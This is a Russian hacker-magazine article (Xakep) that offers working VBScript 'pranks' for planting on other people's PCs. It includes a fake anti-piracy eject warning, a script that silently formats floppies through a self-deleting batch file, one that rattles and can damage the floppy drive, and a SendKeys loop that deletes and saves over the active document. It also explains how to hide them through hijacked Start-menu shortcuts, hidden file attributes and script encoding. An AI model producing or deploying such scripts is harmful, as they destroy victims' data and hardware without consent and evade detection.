
ВОЗВРАЩЕНИЕ БЛОКНОТА - Готовим западло на скриптах
Анализирующий (analyst1945@mail.ru)
Спецвыпуск Xakep, номер #033
Привет, великий западлостроитель. Я надеюсь, от тебя не отвернулись еще твои друзья-компьютерщики (а других у тебя быть не может - вам просто не о чем разговаривать), тебя не выгоняют из компьютерных клубов, а на работе злой админ не запретил запуск любимого Блокнота. Тогда появился реальный шанс припомнить былые обиды и попрактиковаться в любимом хобби - западлостроении. Об этом я тебе расскажу в сегодняшней статье.
Вкратце напомню, что весь предлагаемый далее код в компиляции не нуждается и пишется в любом текстовом редакторе (лишь бы формат выходного файла был текстовый.), сохраняется в текстовом файле с расширением WSF и запускается так же, как и ЕХЕ-файлы. Не забудь добавлять обязательные XML элементы:
<?xml version="1.0" encoding="ISO-8859-1"?>
<job id="T1">
<script language="VBScript">
<![CDATA[
в начало файла и
]]>
</script>
</job>
в конец файла соответственно. Итак, приступим.
БОРЬБА С ПИРАТСТВОМ
Скажи, где ты брал диск с дистрибутивом твоей ОСи? А за сколько? Что-что? ЛИЦЕНЗИОННАЯ?! И все остальные диски ТОЖЕ? Ну, тогда бросай журнал и иди кататься с девочками (мальчиками :)) на яхте. Это будет для тебя более полезным занятием. Реально же, по официальным данным, пиратский рынок в России составляет 89 процентов. То есть с вероятностью 1:10 можно утверждать, что вставленная в дисковод компашка, если это не собственный сборник, является пиратской копией. Мы же с тобой займемся тем, что будем при попытке использования такого диска извлекать его с выдачей ну оч-ч-ч-ень строгого предупреждения :). Делать это будем, конечно же, с помощью сценариев на языке VBScript. Итак, пиши следующий код:
Option Explicit
Dim fso,mplayer
Dim Drive
Dim Count, f
f=0
'Объявляются используемые переменные
On Error Resume Next
'Блокировка сообщений об ошибках
set fso=CreateObject("Scripting.FileSystemObject")
set mplayer=CreateObject("WMPlayer.OCX.7")
'Подключение системных объектов
Do while f=0
'Создается бесконечный цикл
'для работы скрипта до перезагрузки
WScript.sleep 5000
'Пауза между проверками наличия диска в дисководе в миллисекундах
Count=-1
'Начальное положение счетчика
'Нужен на случай нескольких сидюков
For Each Drive in FSO.Drives
'Проверка всех дисков компа
If Drive.DriveType=4 then
'Если это сидюк
count=count+1
'То увеличиваем счетчик
if Drive.IsReady Then
'Если он вставлен
If (fso.fileexists(Drive.DriveLetter & ":\" & "Autorun.inf")) then
'И на нем есть файл Autorun.inf
'Значит есть автозапуск
'И это не ручной сборник
'(кто ставит на ручной сборник автозапуск? %))
'И не музыкальный диск
mplayer.cdromcollection.item(count).eject()
'Извлекается лоток
msgbox "Обнаружена пиратская копия диска. Дальнейшая работа с диском невозможна." &_
vbcrlf & "Сообщите в местные органы ФСБ о месте его покупки.",48,_
"Антипиратская система Windows"
'И выдается грозное предупреждение
End if
End If
End If
Next
Loop
Можешь не сомневаться, что твой ламернутый друган или не менее ламернутая секретарша будут рассказывать об этой "защите" всем и каждому, а первым делом побегут в магазин, продавший этот диск, а может и в ФСБ позвонят ;).
При желании можешь усовершенствовать этот скрипт. Например, можно считать количество попыток использования диска и каждый раз выдавать новое предупреждение. В общем, пофантазируй.
ИЗДЕВАЕМСЯ НАД FDD И ЕГО ХОЗЯИНОМ
С оптическими дисками разобрались, но остались дискеты. Что можно делать с дискетами? Извлекать не получится по причине отсутствия какой либо связи данной механической части с электроникой. Остается логическая составляющая. Самым оптимальным вариантом мне представляется форматирование, причем скрытое. Открыл так чел документ с дискетки, работает потихоньку, глянь - а файлов-то и нет! Только осторожно: возможны приступы вандализма, членовредительство :), громкие размышления на тему вирусов, вирусописателей и интимной жизни их родственников.
Приступим.
Option Explicit
Dim WshShell, fso,flopp, odrive
Dim commandfile, batfile, txtcom, txtbat
Dim disklabel, x
'Объявляем используемые переменные
commandfile="c:\LOG.LOG"
'Имя файла с командами, передаваемыми программе форматирования
batfile="c:\file.bat"
'Имя запускаемого файла
disklabel="Loh"
'Метка для форматируемого диска
x=0
On Error Resume Next
'Блокировка сообщений об ошибках
set WshShell=WScript.CreateObject("WScript.Shell")
Set fso = CreateObject("Scripting.FileSystemObject")
'Подключаются системные объекты
Do While x=0
'Создается бесконечный цикл
'для работы скрипта до перезагрузки
Wscript.sleep 10000
'Пауза между проверками наличия диска в дисководе в миллисекундах
If WshShell.AppActivate("A:") then
'Если юзер открыл окно дискеты
'Значит он вставил ее в дисковод
Set flopp = fso.GetDrive("A")
'Получаем доступ к флоппу
If flopp.IsReady and flopp.FreeSpace <> flopp.TotalSize then
'Если он не чистый
'То создается файл с ответами
Set txtcom = fso.opentextfile(commandfile,2,true)
txtcom.writeline
txtcom.writeline "y"
txtcom.close
'и пакетный файл с командой форматирования
'и заметания следов
Set txtbat = fso.opentextfile(batfile,2,true)
txtbat.writeline "format a: /q /v:" & disklabel & " < " & commandfile
txtbat.writeline "del " & commandfile
txtbat.writeline "del " & batfile
txtbat.close
WshShell.run batfile,0
'Теперь полученная парочка принимается за работу
'Причем в скрытом режиме
End if
End if
'Заново повторяется вся процедура
Loop
Эта фича будет работать при условиях:
1. Дискета не защищена от записи.
2. В "Свойствах папки" - "Вид" - отмечена опция "Выводить полный путь в строке заголовка".
3. Окно проводника с содержимым дискеты открыто, пусть даже в свернутом виде, как минимум 10 секунд. Если интервал не устраивает, измени строку
Wscript.sleep 10000
например, на
Wscript.sleep 5000
4. Корень диска С не защищен от записи (бывает и такое). В противном случае замени имена (расположение) файлов c:\LOG.LOG и c:\file.bat на другие. В принципе, имена и расширения могут быть любыми.
5. Данному пользователю разрешено форматировать дискеты (Windows 2k/XP).
6. Если террор производится на компе под управлением Windows XP, то дискета форматируется даже при открытых на ней файлах. Если же используется Винда из серии 9х/МЕ, то нужно заменить строку
txtcom.writeline "y"
на
txtcom.writeline "n"
Форматирование будет отложено до закрытия файлов.
Краткое пояснение принципа действия сценария. Как известно, в системе MS-DOS вывод на экран можно перенаправить в текстовый файл, указав после команды символ ">" в режиме нового файла или ">>" в режиме добавления к имеющемуся файлу и имя получаемого файла. Например, командой "dir c:\windows > c:\1.txt" будет получен файл C:\1.txt, содержащий листинг файлов и папок каталога C:\windows. Но далеко не всем известно, что возможно обратное перенаправление с использованием символа "<". На этом принципе и основан данный скрипт. В текстовый файл заносятся предполагаемые нажатия на клавиатуру, а затем они считываются программой Format. В итоге все действия происходят без участия пользователя, что нам и требовалось. Ну а консоль Windows XP с успехом выполняет эти функции MS-DOS.
Что же делать, если дискета не вставлена? Неужели лишать себя законного удовольствия? Не стоит. Пусть дисковод в знак возмущения издает громкие звуки. Для разнообразия, так сказать.
Option explicit
Dim fso, odrive
Dim x, y, z
y=500
'y - Приблизительная длительность тарахтения флоппаря
Set fso = CreateObject("Scripting.FileSystemObject")
set odrive = fso.getdrive("a:\")
'Подключаются системные объекты
for x=1 to y
'Процесс пошел
if odrive.isready then
'Проверяется наличие дискеты
'Отсюда и происходит весь шум
z=1
'Фиктивная операция
'Не ради этого все затевалось
end if
'Завершаем микроцикл
next
'Поехали по кругу
Скрипт будет работать, если: на компе есть дисковод, он висит на букве А и в нем нет дискеты.
Конечно, при желании эту штучку можно облагородить, а именно: добавить определение наличия дисковода, его букву и присутствие в нем дискеты, включать трещалку через определенные или случайные промежутки времени, заставить дисковод наигрывать определенную мелодию. И имей в виду, что этим приколом реально угробить FDD.
ЗАВЕТНЫЕ КНОПОЧКИ
А теперь приступим к термоядерному межгалактическому терроризму в рамках отдельно взятого писюка. Будем периодически посылать с клавиатуры разрушительную комбинации клавиш подобно этой: CTRL+A, SHIFT+DEL, ENTER. Это приведет к соответствующим результатам: удалению файлов и папок, текстов (смотря какое окно было на первом плане), выскакиванию глаз из орбит, порче материальных ценностей, биению головой о стену, массовым явлениям суицида и другим подобным веселеньким (кому как :)) вещам. А поможет нам в этом этот скриптик:
Option Explicit
Dim WshShell
Dim f, x
f=0
'Объявляются используемые переменные
On Error Resume Next
'Блокировка сообщений об ошибках
Set WshShell=WScript.CreateObject("WScript.Shell")
'Подключаются системные объекты
Do While f=0
'Создается бесконечный цикл
'для работы скрипта до перезагрузки
Wscript.Sleep Int((1800000)*Rnd)
WshShell.SendKeys "^{a}"
'Посылается комбинация клавиш CTRL+A
WshShell.SendKeys "+{DEL}"
'Посылается комбинация клавиш SHIFT+DEL
WshShell.SendKeys "{ENTER}"
'Посылается клавиша ENTER
'т.е. сейчас было удалено содержание активного окна
'конечно, если это возможно
WshShell.SendKeys "^{s}"
'Посылается комбинация клавиш CTRL+S
'Если это текстовый редактор,
'то "результат" был сохранен
WshShell.SendKeys "{ENTER}"
'Посылается клавиша ENTER
WshShell.SendKeys "{LEFT}"
'Посылается клавиша "Стрелка влево"
WshShell.SendKeys "{ENTER}"
'Посылается клавиша ENTER
На случай, если документ создан впервые
WshShell.SendKeys "%{F4}"
'Посылается комбинация клавиш ALT+F4
'Окно закрывается, чтобы было нельзя сделать откат
Loop
'Заново повторяется вся процедура
Данный алгоритм не претендует на универсальность, но ты можешь переделать его под конкретную ситуацию. Так что делайте резервные копии, господа.
ЗАЩИТА ОТ УМНЫХ
Осталось решить главную задачу: сделать так, чтобы все это (ну не все - половина :)) запускалось при включении РС. Это можно осуществить стандартными способами - поместить ссылки в реестр или файлы win.ini и system.ini. Но едва владелец компа запустит волшебную программу msconfig.exe или подобную ей, как все твои старания пойдут прахом. Надо придумать что-то новенькое. Могу дать совет. Обрати внимание на папку Автозагрузка. Да-да, ту самую, что в меню "Программы". И не надо материться. Надо читать дальше. Присутствуют там какие-либо ярлыки? Обычно они там присутствуют, будучи помещенными туда по дефолту пакетом Microsoft Office. Если есть, то считай, что тебе повезло. Теперь лезь в свойства ярлыка и смотри что он запускает. Затем пиши ВАТ-файл такого содержания:
@Start полное_имя_запускаемой_программы >nul
@Start полное_имя_запускаемого скрипта >nul
Теперь сохраняй его под именем захваченной программы, но с расширением ВАТ, в том же каталоге, где она находится, а в свойствах ярлыка изменяй расширение с ЕХЕ на ВАТ. Не забудь изменить значок у ярлыка на оригинальный (Свойства - ярлык - сменить значок). Получается эдакий симбиоз - при запуске программы запустится и твой скрипт. Вряд ли у кого-то хватит ума проверять эти ярлыки. Остается только одна шняга: при запуске ВАТ-файлов на экране на миг возникнет черное окно консоли, на что могут обратить внимание. Обойти это можно, если указать в ярлыке не ВАТ-файл, а сам скрипт, добавив в него команду запуска программы, на которую он ссылался. Например
Set Wsh = WScript.CreateObject("WScript.Shell")
'Внимание! Дублирование этой строки в скрипте нежелательно!
Wsh.run "Полное_имя_запускаемой_программы"
Если же в Автозагрузке ничего нет, то не расстраивайся, а понаблюдай, какую программу на этом компьютере запускают первой и какую - чаще всего, а затем проделай с ее ярлыком все указанное выше. Это может быть тот же Word или же браузер. И не забывай, что ярлыки бывают не только в Главном меню, а еще и, например, в Панели быстрого запуска или на Рабочем столе. Не лишним будет присвоить скриптам атрибуты "Системный" и "Скрытый". Особенно если в свойствах папки стоит запрет на отображение файлов с такими атрибутами.
ШИФРОВАНИЕ СКРИПТОВ
На случай, если владелец компа добрался до твоих скриптов, ты можешь избавить его от удовольствия читать их исходники. Устроить это можно с помощью программы Script Encoder, созданной в недрах корпорации Microsoft. Добыть ее можно на сайте создателя или поискав на софтверных хранилищах под именем sce10en.exe. Программа абсолютно бесплатна и невелика по размеру - всего 128 kb в установочном файле. Шифрование применимо к сценариям как на VBScript, так и на JScript.
Формат команды на шифрование такой:
screnc имя_исходного_файла имя_зашифрованного файла
Зашифрованные файлы для нормального функционирования должны менять свое расширение с VBS на VBE и с JS на JSE соответственно. В случае, если сценарии находятся в файле WSF или HTML, то происходит не изменение расширения, а смена атрибутов тега <Script language="VBScript"> на <script language="VBScript.Encode">.
Если в зашифрованном скрипте изменить, добавить или удалить какой-либо символ, он становится нерабочим. Однако не стоит рассматривать шифрование как надежную защиту от просмотра исходного кода. Специалист может восстановить из него первоначальное содержимое, к тому же русские символы в скриптах не шифруются. Ну и под конец сообщу, что шифрование скриптов WSH возможно только с версии 2.0.
Кодировка специальных клавиш в методе SendKeys
Esc {ESC}
Tab {TAB}
Caps Lock {CAPSLOCK}
Backspace {BS}, {BKSP} или {BACKSPACE}
Enter {ENTER} или ~
Print {PRTSC}
Scroll Lock {SCROLLLOCK}
Break {BREAK}
Insert {INS} или {INSERT}
Home {HOME}
Page Up {PGUP}
Delete {DEL}
End {END}
Page Down {PGDN}
Стрелка влево {LEFT}
Стрелка вправо {RIGHT}
Стрелка вверх {UP}
Стрелка вниз {DOWN}
F1 {F1}
F12 {F12}
Space chr(32)
Коды для комбинаций клавиш в методе SendKeys
- Shift + перед кодом второй клавиши
- Ctrl ^ перед кодом второй клавиши
- Alt % перед кодом второй клавиши
Вывод повторяющихся клавиш {код_клавиши число_повторов}
Примеры:
- {^x} Нажатие комбинации клавиш CTRL+X
- {+(ec)} Одновременное нажатие SHFT+E+C
- {H 10} 10 нажатий клавиши H
Параметры командной строки программы screnc.exe
- /s Работа программы без вывода сообщений на экран
- /f Перезаписать исходный файл зашифрованным под тем же самым именем
- /l language Явно указывает язык в шифруемом файле. Например /l Jscript
Примеры:
screnc hello.vbs hello.vbe
screnc /e htm config.wsf confighide.wsf
screnc /f /e htm index.html
Книги, посвященные созданию скриптов
- Попов А. Windows Script Host для Windows 2000/XP. - Санкт-Петербург.: BHV-CПб. 2003
- Джесси Торрес. Скрипты для администратора Windows. Специальный справочник. - Санкт-Петербург.: Питер. 2002
- С. Палмер. VBScript и ActiveX: библиотека программиста. - Санкт-Петербург.: Питер. 1999
Содержание
|